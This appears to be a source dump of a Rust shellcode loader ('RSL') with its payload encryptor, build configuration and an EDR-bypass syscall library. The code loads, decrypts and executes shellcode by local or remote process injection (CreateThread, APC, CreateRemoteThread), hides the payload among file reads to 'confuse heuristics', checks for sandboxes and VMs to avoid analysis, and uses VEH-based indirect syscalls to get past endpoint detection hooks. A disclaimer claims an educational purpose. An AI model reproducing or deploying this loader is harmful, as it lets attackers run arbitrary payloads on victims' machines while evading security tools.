9 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
10 |
11 | // Define function types
12 | type GetModuleFileNameAFn = unsafe extern "system" fn(isize, *mut u8, u32) -> u32;
13 | type CreateFileAFn = unsafe extern "system" fn(*const u8, u32, u32, *mut std::ffi::c_void, u32, u32, isize) -> isize;
14 | type ReadFileFn = unsafe extern "system" fn(isize, *mut u8, u32, *mut u32, *mut std::ffi::c_void) -> i32;
15 | type CloseHandleFn = unsafe extern "system" fn(isize) -> i32;
16 |
17 | // Load functions
18 | let get_module_file_name_a: GetModuleFileNameAFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"GetModuleFileNameA\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load GetModuleFileNameA\0").as_slice()).to_string())?);
19 | let create_file_a: CreateFileAFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CreateFileA\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load CreateFileA\0").as_slice()).to_string())?);
20 | let read_file: ReadFileFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"ReadFile\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load ReadFile\0").as_slice()).to_string())?);
21 | let close_handle: CloseHandleFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CloseHandle\0").as_slice()).map_err(|_| String::from_utf8_lossy(obfbytes!(b"Failed to load CloseHandle\0").as_slice()).to_string())?);
22 |
23 | // 1. Get current module filename
24 | let mut filename_buf = [0u8; 2048];
25 | let len = get_module_file_name_a(0, filename_buf.as_mut_ptr(), 2048);
26 | if len == 0 {
27 | return Err(String::from_utf8_lossy(obfbytes!(b"Failed to get module filename\0").as_slice()).to_string());
28 | }
29 |
30 | // 2. Open the file
31 | const GENERIC_READ: u32 = 0x80000000;
32 | const FILE_SHARE_READ: u32 = 0x00000001;
33 | const OPEN_EXISTING: u32 = 3;
34 | const FILE_ATTRIBUTE_NORMAL: u32 = 0x80;
35 |
36 | let handle = create_file_a(
37 | filename_buf.as_ptr(),
38 | GENERIC_READ,
39 | FILE_SHARE_READ,
40 | ptr::null_mut(),
41 | OPEN_EXISTING,
42 | FILE_ATTRIBUTE_NORMAL,
43 | 0
44 | );
45 |
46 | if handle == -1 { // INVALID_HANDLE_VALUE
47 | return Err(String::from_utf8_lossy(obfbytes!(b"Failed to open file\0").as_slice()).to_string());
48 | }
49 |
50 | // 3. Read from file into buffer
51 | // We allocate a buffer the size of our payload
52 | let mut buffer = vec![0u8; ENCRYPT_DATA.len()];
53 | let mut bytes_read: u32 = 0;
54 |
55 | let success = read_file(
56 | handle,
57 | buffer.as_mut_ptr(),
58 | ENCRYPT_DATA.len() as u32,
59 | &mut bytes_read,
60 | ptr::null_mut()
61 | );
62 |
63 | close_handle(handle);
64 |
65 | if success == 0 {
66 | return Err(String::from_utf8_lossy(obfbytes!(b"Failed to read file\0").as_slice()).to_string());
67 | }
68 |
69 | // 4. Overwrite the buffer with the real payload
70 | // This is the "bypass" logic: confuse heuristics by mixing file IO with payload memory
71 | for (i, byte) in ENCRYPT_DATA.iter().enumerate() {
72 | if i < buffer.len() {
73 | buffer[i] = *byte;
74 | }
75 | }
76 |
77 | Ok(buffer)
78 | }
79 | }
80 |
--------------------------------------------------------------------------------
/src/main.rs:
--------------------------------------------------------------------------------
1 | #![cfg_attr(not(feature = "debug"), windows_subsystem = "windows")]
2 | mod utils;
3 | mod load_payload;
4 | mod exec;
5 | mod decrypt;
6 | mod alloc_mem;
7 | mod decode;
8 | #[cfg(feature = "with_forgery")]
9 | mod forgery;
10 | #[cfg(feature = "sandbox")]
11 | mod guard;
12 |
13 | use load_payload::load_payload;
14 | use decrypt::decrypt;
15 | use decode::decode_payload;
16 | use exec::exec;
17 | #[cfg(feature = "debug")]
18 | use utils::{print_error, print_message};
19 | use rsl_macros::obfuscation_noise_macro;
20 |
21 | fn exit_program() -> ! {
22 | #[cfg(feature = "debug")]
23 | print_message("Exiting program.");
24 | #[cfg(feature = "veh_syscall")]
25 | rust_veh_syscalls::destroy_hooks();
26 | std::process::exit(1);
27 | }
28 |
29 | fn start_program() {
30 | obfuscation_noise_macro!();
31 | #[cfg(feature = "debug")]
32 | print_message("RSL started in debug mode.");
33 |
34 | #[cfg(feature = "veh_syscall")]
35 | rust_veh_syscalls::initialize_hooks();
36 | }
37 |
38 | fn main() {
39 | start_program();
40 |
41 | #[cfg(feature = "sandbox")]
42 | if guard::guard_vm() {
43 | #[cfg(feature = "debug")]
44 | print_message("Sandbox/VM detected. Exiting...");
45 | exit_program();
46 | } else {
47 | #[cfg(feature = "debug")]
48 | print_message("Pass Sandbox/VM detection.");
49 | }
50 |
51 | #[cfg(feature = "with_forgery")]
52 | if let Err(_e) = forgery::bundle::bundlefile() {
53 | #[cfg(feature = "debug")]
54 | print_error("Failed to bundle:", &_e);
55 | exit_program();
56 | } else {
57 | #[cfg(feature = "debug")]
58 | print_message("Bundling succeeded.");
59 | obfuscation_noise_macro!();
60 | }
61 |
62 | let encrypted_data = match load_payload() {
63 | Ok(data) => {
64 | #[cfg(feature = "debug")]
65 | print_message("Payload loaded successfully.");
66 | obfuscation_noise_macro!();
67 | data
68 | },
69 | Err(_e) => {
70 | #[cfg(feature = "debug")]
71 | print_error("Failed to load:", &_e);
72 | exit_program();
73 | }
74 | };
75 |
76 | let decrypted_data = decode_payload(&encrypted_data).unwrap();
77 |
78 | unsafe {
79 | let (shellcode_ptr, _shellcode_len) = match decrypt(&decrypted_data) {
80 | Ok(p) => {
81 | #[cfg(feature = "debug")]
82 | print_message("Payload decrypted successfully.");
83 | obfuscation_noise_macro!();
84 | p
85 | },
86 | Err(_e) => {
87 | #[cfg(feature = "debug")]
88 | print_error("Failed to decrypt:", &_e);
89 | exit_program();
90 | }
91 | };
92 |
93 | #[cfg(feature = "pattern1")]
94 | if let Err(_e) = exec(shellcode_ptr as usize) {
95 | #[cfg(feature = "debug")]
96 | print_error("Failed to execute:", &_e);
97 | exit_program();
98 | }
99 |
100 | #[cfg(feature = "pattern2")]
101 | {
102 | use utils::simple_decrypt;
103 | let target_program = simple_decrypt(env!("RSL_ENCRYPTED_TARGET_PROGRAM"));
104 |
105 | if let Err(_e) = exec(shellcode_ptr as usize, _shellcode_len, target_program.as_str()) {
106 | #[cfg(feature = "debug")]
107 | print_error("Failed to execute:", &_e);
108 | exit_program();
109 | }
110 | }
111 |
112 | #[cfg(feature = "pattern3")]
113 | {
114 | use utils::simple_decrypt;
115 | let pid: usize = simple_decrypt(env!("RSL_ENCRYPTED_TARGET_PID")).parse().unwrap_or(0);
116 |
117 | if let Err(_e) = exec(shellcode_ptr as usize, _shellcode_len, pid) {
118 | #[cfg(feature = "debug")]
119 | print_error("Failed to execute:", &_e);
120 | exit_program();
121 | }
122 | }
123 |
124 | }
125 | exit_program();
126 | }
--------------------------------------------------------------------------------
/RustVEHSyscalls/README.md:
--------------------------------------------------------------------------------
1 | # RustVEHSyscalls
2 |
3 | **RustVEHSyscalls** is a Rust-based port of the [LayeredSyscall](https://github.com/WKL-Sec/LayeredSyscall) project. This tool performs indirect syscalls while generating legitimate API call stack frames by abusing Vectored Exception Handling (VEH) to bypass user-land EDR hooks in Windows.
4 |
5 | ## How It Works
6 |
7 | **RustVEHSyscalls** performs indirect syscalls by abusing Vectored Exception Handling (VEH) to generate legitimate API call stack frames. By calling a standard Windows API function and setting a hardware breakpoint within it, the function's call stack is captured. This breakpoint then lets VEH redirect the process to a syscall wrapper in `ntdll.dll`, preserving the original API's call stack structure. This approach enables syscalls to appear as if they originate from legitimate Windows API calls.
8 |
9 | ### Setup and Cleanup Functions
10 |
11 | **RustVEHSyscalls** provides functions to initialize and clean up the Vectored Exception Handling environment necessary for syscall interception. These functions establish the hooks needed to capture and handle indirect syscalls, ensuring clean operation and teardown.
12 |
13 | 1. **`initialize_hooks()`**:
14 | - Sets up two vectored exception handlers for adding and managing hardware breakpoints in the system call path. This function allocates memory for the CPU context and retrieves `ntdll.dll`'s base and end addresses for tracing purposes.
15 | 2. **`destroy_hooks()`**:
16 | - Cleans up by removing the added vectored exception handlers.
17 |
18 | ### Syscall Wrapper
19 |
20 | **RustVEHSyscalls** provides a `syscall!` macro that wraps several key steps:
21 |
22 | 1. **Resolving the Syscall Address and SSN**: The macro uses the **PEB** to locate `ntdll.dll` and parses its **Exception Directory** and **Export Address Table** to retrieve both the syscall’s address and System Service Number (SSN).
23 | 2. **Setting Hardware Breakpoint**: Once the syscall address and SSN are resolved, the macro sets a hardware breakpoint, allowing RustVEHSyscalls to intercept the syscall execution.
24 | 3. **Invoking the Syscall**: Finally, the macro invokes the syscall with the specified parameters, completing the indirect syscall path.
25 |
26 | ## Usage
27 |
28 | To initialize syscall interception, call `initialize_hooks()` at the start of your `main` function and `destroy_hooks()` to clean up once you're done. You can also adjust the legitimate call stack by modifying the `demofunction()` in the `hooks.rs` module.
29 |
30 | ```rust
31 | /// Example function designed to maintain a clean call stack.
32 | /// This function can be modified to call different legitimate Windows APIs.
33 | pub unsafe extern "C" fn demofunction() {
34 | MessageBoxA(null_mut(), null_mut(), null_mut(), 0);
35 | }
36 | ```
37 |
38 | ### Example: Calling `NtCreateUserProcess`
39 |
40 | The following example demonstrates how to invoke the `NtCreateUserProcess` syscall. Full test code is available in `lib.rs`.
41 |
42 | ```rust
43 | fn main() {
44 | initialize_hooks(); // Set up necessary hooks
45 |
46 | // Initialize all necessary parameters here...
47 |
48 | // Call NtCreateUserProcess syscall
49 | let status = syscall!(
50 | "NtCreateUserProcess",
51 | OrgNtCreateUserProcess,
52 | &mut process_handle,
53 | &mut thread_handle,
54 | desired_access,
55 | desired_access,
56 | null_mut(),
57 | null_mut(),
58 | 0,
59 | 0,
60 | process_parameters,
61 | &mut create_info,
62 | attribute_list
63 | );
64 |
65 | destroy_hooks(); // Clean up hooks when done
66 | }
67 | ```
68 |
69 | ## Disclaimer
70 |
71 | This project is intended **for educational and research purposes only**. Use it responsibly, as any misuse is solely your responsibility—not mine! Always follow ethical guidelines and legal frameworks when doing security research (and, you know, just in general).
72 |
73 | ## Credits
74 |
75 | Special thanks to:
76 |
77 | - [LayeredSyscall by White Knight Labs](https://github.com/WKL-Sec/LayeredSyscall) for their work.
78 | - [Resolving System Service Numbers Using The Exception Directory by MDsec](https://www.mdsec.co.uk/2022/04/resolving-system-service-numbers-using-the-exception-directory/) for their insights on resolving SSNs.
79 |
80 | ## Contributing
81 |
82 | Contributions are welcome! If you want to help improve `RustVEHSyscalls` or report bugs, feel free to open an issue or a pull request in the repository.
83 |
84 | ---
85 |
--------------------------------------------------------------------------------
/RustVEHSyscalls/src/utils.rs:
--------------------------------------------------------------------------------
1 | use core::arch::asm;
2 | use core::ptr::null_mut;
3 |
4 | use crate::def::{
5 | ImageDosHeader, ImageNtHeaders, LoaderDataTableEntry, PebLoaderData, IMAGE_DOS_SIGNATURE,
6 | IMAGE_NT_SIGNATURE, PEB,
7 | };
8 |
9 | /// Retrieves the NT headers from the base address of a module.
10 | ///
11 | /// # Arguments
12 | /// * `base_addr` - The base address of the module.
13 | ///
14 | /// Returns a pointer to `ImageNtHeaders` or null if the headers are invalid.
15 | #[cfg(target_arch = "x86_64")]
16 | pub unsafe fn get_nt_headers(base_addr: *mut u8) -> *mut ImageNtHeaders {
17 | let dos_header = base_addr as *mut ImageDosHeader;
18 |
19 | // Check if the DOS signature is valid (MZ)
20 | if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE {
21 | return null_mut();
22 | }
23 |
24 | // Calculate the address of NT headers
25 | let nt_headers = (base_addr as isize + (*dos_header).e_lfanew as isize) as *mut ImageNtHeaders;
26 |
27 | // Check if the NT signature is valid (PE\0\0)
28 | if (*nt_headers).signature != IMAGE_NT_SIGNATURE as _ {
29 | return null_mut();
30 | }
31 |
32 | nt_headers
33 | }
34 |
35 | /// Finds and returns the base address and size of a module by its hash.
36 | ///
37 | /// # Arguments
38 | /// * `module_hash` - The hash of the module name to locate.
39 | ///
40 | /// Returns a tuple with the base address and the size of the module or (null, 0) if not found.
41 | pub unsafe fn ldr_module_info(module_hash: u32) -> (*mut u8, usize) {
42 | let peb = find_peb(); // Retrieve the PEB
43 |
44 | if peb.is_null() {
45 | return (null_mut(), 0);
46 | }
47 |
48 | let peb_ldr_data_ptr = (*peb).loader_data as *mut PebLoaderData;
49 | if peb_ldr_data_ptr.is_null() {
50 | return (null_mut(), 0);
51 | }
52 |
53 | // Start with the first module in the InLoadOrderModuleList
54 | let mut module_list =
55 | (*peb_ldr_data_ptr).in_load_order_module_list.flink as *mut LoaderDataTableEntry;
56 |
57 | // Iterate through the list of loaded modules
58 | while !(*module_list).dll_base.is_null() {
59 | let dll_buffer_ptr = (*module_list).base_dll_name.buffer;
60 | let dll_length = (*module_list).base_dll_name.length as usize;
61 |
62 | // Create a slice from the DLL name
63 | let dll_name_slice = core::slice::from_raw_parts(dll_buffer_ptr as *const u8, dll_length);
64 |
65 | // Compare the hash of the DLL name with the provided hash
66 | if module_hash == dbj2_hash(dll_name_slice) {
67 | let dll_base = (*module_list).dll_base as *const ImageDosHeader;
68 | let nt_headers = (dll_base as *const u8).offset((*dll_base).e_lfanew as isize)
69 | as *const ImageNtHeaders;
70 |
71 | // Obtain the size of the module from the OptionalHeader's SizeOfImage
72 | let size_of_image = (*nt_headers).optional_header.size_of_image as usize;
73 |
74 | return ((*module_list).dll_base as _, size_of_image); // Return the base address and size of the module
75 | }
76 |
77 | // Move to the next module in the list
78 | module_list = (*module_list).in_load_order_links.flink as *mut LoaderDataTableEntry;
79 | }
80 |
81 | (null_mut(), 0)
82 | }
83 |
84 | /// Computes the DJB2 hash for the given buffer
85 | pub fn dbj2_hash(buffer: &[u8]) -> u32 {
86 | let mut hsh: u32 = 5381;
87 | let mut iter: usize = 0;
88 | let mut cur: u8;
89 |
90 | while iter < buffer.len() {
91 | cur = buffer[iter];
92 |
93 | if cur == 0 {
94 | iter += 1;
95 | continue;
96 | }
97 |
98 | if cur >= ('a' as u8) {
99 | cur -= 0x20;
100 | }
101 |
102 | hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32;
103 | iter += 1;
104 | }
105 | hsh
106 | }
107 |
108 | /// Calculates the length of a C-style null-terminated string.
109 | pub fn get_cstr_len(pointer: *const char) -> usize {
110 | let mut tmp: u64 = pointer as u64;
111 |
112 | unsafe {
113 | while *(tmp as *const u8) != 0 {
114 | tmp += 1;
115 | }
116 | }
117 |
118 | (tmp - pointer as u64) as _
119 | }
120 |
121 | /// Finds and returns the Process Environment Block (PEB)
122 | #[cfg(target_arch = "x86_64")]
123 | pub fn find_peb() -> *mut PEB {
124 | let peb_ptr: *mut PEB;
125 | unsafe {
126 | asm!(
127 | "mov {}, gs:[0x60]",
128 | out(reg) peb_ptr
129 | );
130 | }
131 | peb_ptr
132 | }
133 |
--------------------------------------------------------------------------------
/encrypt.py:
--------------------------------------------------------------------------------
1 |
2 | import base64
3 | import argparse
4 | import importlib.util
5 | import binascii
6 | from pathlib import Path
7 |
8 |
9 | def read_binary_file(file_path):
10 | try:
11 | with open(file_path, 'rb') as f:
12 | return f.read()
13 | except FileNotFoundError:
14 | print(f"Error: The file {file_path} does not exist.")
15 | return None
16 |
17 |
18 | def save(file_path, b64_data):
19 | with open(file_path, 'wb') as f:
20 | f.write(b64_data)
21 |
22 |
23 | PLUGIN_DIR = Path(__file__).parent / 'encrypt_lib'
24 |
25 |
26 | class PluginLoadError(Exception):
27 | pass
28 |
29 |
30 | def load_plugins(plugin_dir=PLUGIN_DIR):
31 | plugins = []
32 | if not plugin_dir.exists():
33 | return plugins
34 | for p in plugin_dir.iterdir():
35 | if p.name.startswith('_') or not p.suffix == '.py':
36 | continue
37 | name = p.stem
38 | spec = importlib.util.spec_from_file_location(f"encrypt_plugins.{name}", str(p))
39 | if spec is None:
40 | continue
41 | module = importlib.util.module_from_spec(spec)
42 | try:
43 | spec.loader.exec_module(module)
44 | except Exception as e:
45 | print(f"Failed loading plugin {name}: {e}")
46 | continue
47 | # module must expose `name` and `process(data, args)` or a `Plugin` class
48 | if hasattr(module, 'Plugin'):
49 | try:
50 | inst = module.Plugin()
51 | plugins.append(inst)
52 | except Exception as e:
53 | print(f"Failed instantiating Plugin in {name}: {e}")
54 | elif hasattr(module, 'name') and hasattr(module, 'process'):
55 | plugins.append(module)
56 | return plugins
57 |
58 |
59 | def build_base_parser(plugin_names):
60 | p = argparse.ArgumentParser(description="Encrypt binary to new payload format (plugin-based)")
61 | p.add_argument("-i", "--input", default="calc.bin", help="input binary file (default calc.bin)")
62 | p.add_argument("-o", "--output", default="src/encrypt.bin", help="output encoded file (default src/encrypt.bin)")
63 | default = plugin_names[0] if plugin_names else None
64 | p.add_argument("-m", "--method", default=default, choices=plugin_names,
65 | help="encryption method / plugin to use")
66 | p.add_argument("-e", "--encode", default="base64", choices=["base64", "base32", "hex", "urlsafe_base64", "none"],
67 | help="encoding method for output (default base64)")
68 | return p
69 |
70 |
71 | def main():
72 | plugins = load_plugins()
73 | plugin_names = [getattr(p, 'name', None) for p in plugins]
74 | plugin_names = [n for n in plugin_names if n]
75 |
76 | parser = build_base_parser(plugin_names)
77 | # parse initial to know selected plugin
78 | args, _ = parser.parse_known_args()
79 | if args.method is None:
80 | parser.print_help()
81 | raise SystemExit(1)
82 | # find plugin object
83 | selected = None
84 | for p in plugins:
85 | if getattr(p, 'name', None) == args.method:
86 | selected = p
87 | break
88 | if selected is None:
89 | raise SystemExit(f"Unsupported --method: {args.method}")
90 | # let plugin add arguments if needed
91 | if hasattr(selected, 'add_arguments') and callable(selected.add_arguments):
92 | selected.add_arguments(parser)
93 | # final parse
94 | args = parser.parse_args()
95 |
96 | data = read_binary_file(args.input)
97 | if data is None:
98 | return
99 |
100 | # call plugin to produce final bytes (pre-encode)
101 | if hasattr(selected, 'process') and callable(selected.process):
102 | final = selected.process(data, args)
103 | elif hasattr(selected, 'process_data') and callable(selected.process_data):
104 | final = selected.process_data(data, args)
105 | else:
106 | raise SystemExit(f"Plugin for {args.method} does not expose a process function")
107 |
108 | # Apply encoding based on --encode option
109 | if args.encode == "base64":
110 | final = base64.b64encode(final)
111 | elif args.encode == "base32":
112 | final = base64.b32encode(final)
113 | elif args.encode == "hex":
114 | final = binascii.hexlify(final)
115 | elif args.encode == "urlsafe_base64":
116 | final = base64.urlsafe_b64encode(final)
117 | elif args.encode == "none":
118 | pass # final remains as bytes
119 |
120 | save(args.output, final)
121 | print(f"Encrypted data (method={args.method}, encode={args.encode}) saved to {args.output}")
122 |
123 |
124 | if __name__ == '__main__':
125 | main()
126 |
127 |
--------------------------------------------------------------------------------
/Cargo.toml:
--------------------------------------------------------------------------------
1 | cargo-features = ["trim-paths", "panic-immediate-abort"]
2 |
3 | [workspace]
4 | members = ["rsl-macros"]
5 |
6 | [package]
7 | name = "rsl"
8 | version = "1.1.1"
9 | edition = "2021"
10 |
11 | [dependencies]
12 | tempfile = "3.10.1"
13 | base64 = "0.21.5"
14 | base32 = "0.5.1"
15 | windows-sys = { version = "0.42.0", features = ["Win32_System_Memory", "Win32_Foundation", "Win32_System_Threading", "Win32_System_LibraryLoader", "Win32_System_Pipes", "Win32_Storage_FileSystem", "Win32_System_SystemInformation"] }
16 | windows = { version = "0.51.1", features = ["Win32_Foundation", "Win32_System_Threading", "Win32_System_LibraryLoader", "Win32_Networking_WinHttp"] }
17 | winreg = "0.52.0"
18 | uuid = { version = "1.0", features = ["v4"] }
19 | memmap2 = "0.6.1"
20 | dirs = "4.0"
21 | sha2 = "0.10"
22 | obfstr = "0.4"
23 | aes = "0.8"
24 | chacha20 = "0.8"
25 | generic-array = "0.14"
26 | serde = { version = "1.0", features = ["derive"] }
27 | wmi = "0.9"
28 | aes-gcm = "0.10"
29 | rc4 = "0.1"
30 | typenum = "1.16"
31 | cipher = "0.4"
32 | cbc = "0.1"
33 | ascon-aead = "0.4.2"
34 | sm4 = "0.5"
35 | ctr = "0.9"
36 | chacha20poly1305 = "0.10"
37 | hex = "0.4"
38 | p256 = { version = "0.13", features = ["ecdh"] }
39 | elliptic-curve = { version = "0.13", features = ["ecdh"] }
40 | hkdf = "0.12"
41 | rand = "0.8"
42 | dinvoke_rs = "0.2.0"
43 | rust-veh-syscalls = { path = "RustVEHSyscalls", optional = true }
44 | colored = "2.0"
45 | cryptify = "3.1.1"
46 | rsl-macros = { path = "rsl-macros" }
47 | proc-macro2 = "1.0"
48 | quote = "1.0"
49 | syn = { version = "2.0", features = ["full"] }
50 |
51 | [build-dependencies]
52 | embed-resource = "1.8.0"
53 | base64 = "0.21.5"
54 |
55 | [features]
56 | default = ["decrypt_ipv4", "alloc_mem_va", "run_create_thread", "none_decode", "load_payload_read_file"]
57 | debug = []
58 |
59 | # Payload Loading Modes
60 | load_payload_read_file = []
61 | load_payload_pipe = []
62 | load_payload_mailslot = []
63 | load_payload_read_file_v2 = []
64 | load_payload_cmdline = []
65 |
66 | # veh Syscall
67 |
68 | veh_syscall = ["dep:rust-veh-syscalls"]
69 |
70 | # 解密算法特性开关
71 | none_decode = []
72 | base64_decode = []
73 | urlsafe_base64_decode = []
74 | base32_decode = []
75 | hex_decode = []
76 | decrypt_rc4 = [] # 启用RC4解密
77 | decrypt_ipv4 = [] # 启用IPv4解密
78 | decrypt_ipv6 = [] # 启用IPv6解密
79 | decrypt_mac = [] # 启用MAC解密
80 | decrypt_uuid = [] # 启用UUID解密
81 | decrypt_aes = [] # 启用AES解密
82 | decrypt_xchacha20 = [] # 启用XChaCha20-Poly1305解密
83 | decrypt_ecc = [] # 启用ECC解密
84 |
85 | # 内存分配方式
86 | alloc_mem_va = []
87 | alloc_mem_global = []
88 | alloc_mem_local = []
89 | alloc_mem_heap = []
90 | alloc_mem_mapview = []
91 | alloc_mem_section = []
92 | alloc_mem_section_syscall = []
93 | alloc_mem_sh_alloc = []
94 | alloc_mem_snmp_util = []
95 | alloc_mem_va_from_app = []
96 | alloc_mem_syscall = []
97 |
98 | alloc_mem_veh_syscall = ["veh_syscall"] # VEH Syscall 内存分配
99 | alloc_mem_section_veh_syscall = ["veh_syscall"] # VEH Syscall Section 内存分配
100 |
101 | # 注入/执行方式
102 | pattern1 = []
103 | pattern2 = []
104 | pattern3 = []
105 | run_enum_ui = ["pattern1"] # UI线程枚举注入
106 | run_create_thread = ["pattern1"] # CreateThread注入
107 | run_veh_syscall = ["pattern1", "veh_syscall"] # VEH Syscall 注入
108 | run_syscall = ["pattern1"] # Syscall注入
109 | run_gdi_families = ["pattern1"] # GDI家族注入
110 | run_apc = ["pattern1"] # APC 注入
111 | run_apc_syscall = ["pattern1"] # APC 注入(间接系统调用)
112 | run_apc_veh_syscall = ["pattern1", "veh_syscall"] # APC VEH Syscall 注入
113 | run_fiber = ["pattern1"] # Fiber 注入
114 | run_fls_alloc = ["pattern1"] # FLS Alloc 注入
115 | run_linedda = ["pattern1"] # LineDDA 注入
116 |
117 | run_early_bird_apc = ["pattern2"] # Early Bird APC 注入
118 |
119 | run_create_remote_thread = ["pattern3"] # CreateRemoteThread 远程注入
120 |
121 |
122 | with_forgery = [] # 启用伪造特性
123 |
124 | # 虚拟机/沙箱检测特性
125 | sandbox = []
126 | vm_check_c_drive = ["sandbox"]
127 | vm_check_desktop_files = ["sandbox"]
128 | vm_check_prime = ["sandbox"]
129 | vm_check_tick = ["sandbox"]
130 | vm_check_api_flood = ["sandbox"]
131 | vm_check_mouse = ["sandbox"]
132 | vm_check_usb_mount = ["sandbox"]
133 | vm_check_cpu_info = ["sandbox"]
134 | vm_check_rdtsc_timing = ["sandbox"]
135 | vm_check_edge = ["sandbox"]
136 | vm_check_time = ["sandbox"]
137 | vm_check_ip = ["sandbox"]
138 |
139 | named_pipe_loader = []
140 |
141 | win7 = []
142 |
143 | [profile.release]
144 | opt-level = 3
145 | lto = true
146 | codegen-units = 1
147 | strip = true
148 | debug = false
149 | split-debuginfo = "off"
150 | panic = "immediate-abort"
151 | trim-paths = "all"
--------------------------------------------------------------------------------
/src/guard/mod.rs:
--------------------------------------------------------------------------------
1 | #[cfg(feature = "vm_check_tick")]
2 | mod tick;
3 | #[cfg(feature = "vm_check_edge")]
4 | mod edge;
5 | #[cfg(feature = "vm_check_time")]
6 | mod time;
7 | #[cfg(feature = "vm_check_ip")]
8 | mod ip;
9 | #[cfg(feature = "vm_check_prime")]
10 | mod prime;
11 | #[cfg(feature = "vm_check_mouse")]
12 | mod mouse;
13 | #[cfg(feature = "vm_check_desktop_files")]
14 | mod desktop_files;
15 | #[cfg(feature = "vm_check_api_flood")]
16 | mod api_flood;
17 | #[cfg(feature = "vm_check_c_drive")]
18 | mod c_drive;
19 |
20 | #[cfg(feature = "vm_check_usb_mount")]
21 | mod usb_mount;
22 | #[cfg(feature = "vm_check_cpu_info")]
23 | mod cpu_info;
24 | #[cfg(feature = "vm_check_rdtsc_timing")]
25 | mod rdtsc_timing;
26 |
27 | #[cfg(feature = "debug")]
28 | use crate::utils::print_message;
29 |
30 | use rsl_macros::obfuscation_noise_macro;
31 |
32 | #[cfg(feature = "sandbox")]
33 | pub fn guard_vm() -> bool {
34 | #[cfg(feature = "vm_check_desktop_files")]
35 | {
36 | let desktop_min: usize = 30;
37 | if !desktop_files::check_desktop_files(desktop_min) { return true; }
38 | else {
39 | #[cfg(feature = "debug")]
40 | print_message("Desktop files check passed.");
41 | obfuscation_noise_macro!();
42 | }
43 | }
44 |
45 | #[cfg(feature = "vm_check_api_flood")]
46 | {
47 | let api_iter: u32 = 5_000;
48 | let api_threshold: u128 = 20;
49 | if api_flood::is_running_in_vm_api_flooding(api_iter, api_threshold) { return true; }
50 | else {
51 | #[cfg(feature = "debug")]
52 | print_message("API flood check passed.");
53 | obfuscation_noise_macro!();
54 | }
55 | }
56 |
57 | #[cfg(feature = "vm_check_mouse")]
58 | if !mouse::has_human_mouse_movement() { return true; }
59 | else {
60 | #[cfg(feature = "debug")]
61 | print_message("Mouse movement check passed.");
62 | obfuscation_noise_macro!();
63 | }
64 |
65 | #[cfg(feature = "vm_check_usb_mount")]
66 | if !usb_mount::has_usb_history() { return true; }
67 | else {
68 | #[cfg(feature = "debug")]
69 | print_message("USB mount history check passed.");
70 | obfuscation_noise_macro!();
71 | }
72 |
73 | #[cfg(feature = "vm_check_rdtsc_timing")]
74 | {
75 | let sleep_ms: u64 = 500;
76 | let threshold_ratio: f64 = 0.8;
77 | if rdtsc_timing::check_rdtsc_sandboxed(sleep_ms, threshold_ratio) { return true; }
78 | else {
79 | #[cfg(feature = "debug")]
80 | print_message("RDTSC timing check passed.");
81 | obfuscation_noise_macro!();
82 | }
83 | }
84 |
85 | #[cfg(feature = "vm_check_prime")]
86 | if !prime::check_prime() { return true; }
87 | else {
88 | #[cfg(feature = "debug")]
89 | print_message("Prime number check passed.");
90 | obfuscation_noise_macro!();
91 | }
92 |
93 | #[cfg(feature = "vm_check_ip")]
94 | if !ip::check_ip() { return true; }
95 | else {
96 | #[cfg(feature = "debug")]
97 | print_message("IP address check passed.");
98 | obfuscation_noise_macro!();
99 | }
100 |
101 | #[cfg(feature = "vm_check_edge")]
102 | if !edge::check_edge() { return true; }
103 | else {
104 | #[cfg(feature = "debug")]
105 | print_message("Microsoft Edge check passed.");
106 | obfuscation_noise_macro!();
107 | }
108 |
109 | #[cfg(feature = "vm_check_time")]
110 | if !time::check_time() { return true; }
111 | else {
112 | #[cfg(feature = "debug")]
113 | print_message("System time check passed.");
114 | obfuscation_noise_macro!();
115 | }
116 |
117 | #[cfg(feature = "vm_check_tick")]
118 | if tick::is_tick_abnormal() { return true; }
119 | else {
120 | #[cfg(feature = "debug")]
121 | print_message("Tick check passed.");
122 | obfuscation_noise_macro!();
123 | }
124 |
125 | #[cfg(feature = "vm_check_c_drive")]
126 | {
127 | let c_min_gb: u64 = 50;
128 | if !c_drive::is_c_drive_total_over(c_min_gb) { return true; }
129 | else {
130 | #[cfg(feature = "debug")]
131 | print_message("C: drive size check passed.");
132 | obfuscation_noise_macro!();
133 | }
134 | }
135 |
136 | #[cfg(feature = "vm_check_cpu_info")]
137 | {
138 | let min_cores: u32 = 2;
139 | if cpu_info::check_cpu_model() || cpu_info::check_cpu_cores(min_cores) || cpu_info::check_cpu_vendor() { return true; }
140 | else {
141 | #[cfg(feature = "debug")]
142 | print_message("CPU info check passed.");
143 | obfuscation_noise_macro!();
144 | }
145 | }
146 |
147 | false
148 | }
149 |
--------------------------------------------------------------------------------
/gui/widgets.py:
--------------------------------------------------------------------------------
1 | import os
2 | from PyQt5.QtWidgets import QComboBox, QFileDialog, QListView, QStyledItemDelegate
3 | from PyQt5.QtGui import QIcon
4 |
5 | def list_ico_files():
6 | app_icons_dir = os.path.join(os.getcwd(), 'icons')
7 | if not os.path.isdir(app_icons_dir):
8 | return []
9 | return [f for f in os.listdir(app_icons_dir) if f.lower().endswith('.ico')]
10 |
11 | class BinComboBox(QComboBox):
12 | def __init__(self, parent=None):
13 | super().__init__(parent)
14 | self.setView(QListView())
15 | self.setItemDelegate(QStyledItemDelegate())
16 | self.refresh()
17 |
18 | def refresh(self):
19 | self.clear()
20 | input_dir = os.path.join(os.getcwd(), 'input')
21 | default_idx = -1
22 | bin_icon = QIcon(os.path.join('gui', 'icons', 'bin.ico')) if os.path.exists(os.path.join('gui', 'icons', 'bin.ico')) else QIcon()
23 | if os.path.isdir(input_dir):
24 | files = [f for f in os.listdir(input_dir) if os.path.isfile(os.path.join(input_dir, f))]
25 | for i, f in enumerate(files):
26 | self.addItem(bin_icon, f, os.path.abspath(os.path.join(input_dir, f)))
27 | if files:
28 | default_idx = 0
